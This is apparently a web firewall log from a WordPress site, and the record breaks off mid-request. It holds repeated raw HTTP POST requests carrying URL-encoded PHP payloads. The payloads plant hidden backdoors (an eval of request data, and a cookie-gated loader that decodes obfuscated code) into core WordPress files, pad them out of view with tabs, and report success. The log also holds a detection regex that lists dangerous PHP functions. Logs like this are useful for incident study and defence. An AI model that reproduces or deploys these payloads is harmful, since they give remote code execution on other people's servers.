Xw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yxrLRm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJUpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:2064\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\n\nXw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yxrLRm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:50:38","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> XR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yxrLRm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJSVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2064\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nXR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yxrLRm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:50:42","103.93.94.155","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yxrLRm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMSVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2064\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\ndR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yxrLRm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:50:49","173.212.252.15","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yxrLRm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2087\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept:*\/*\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status417.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527yxrLRm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 23:50:56","164.52.218.210","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Xsalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-5%252B5%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B95%252B-94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B25-22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B27%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524component%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278e1fadd6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522settings%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524factor%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flag%2520%253D%2520%25224bf9821cb4cbc7f718e9e2d7f738b661%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dependency_resolver_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMRbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4414\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\n\ndJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/Xsalsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-5%252B5%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B95%252B-94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B25-22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B27%255D%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524component%2529%2520%257B%2520%2524symbol%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25278e1fadd6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522settings%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524symbol%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524rec%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524rec%252C%2520%2524factor%2529%253B%2520fclose%2528%2524rec%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flag%2520%253D%2520%25224bf9821cb4cbc7f718e9e2d7f738b661%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524symbol%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522dependency_resolver_app_initializer%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24con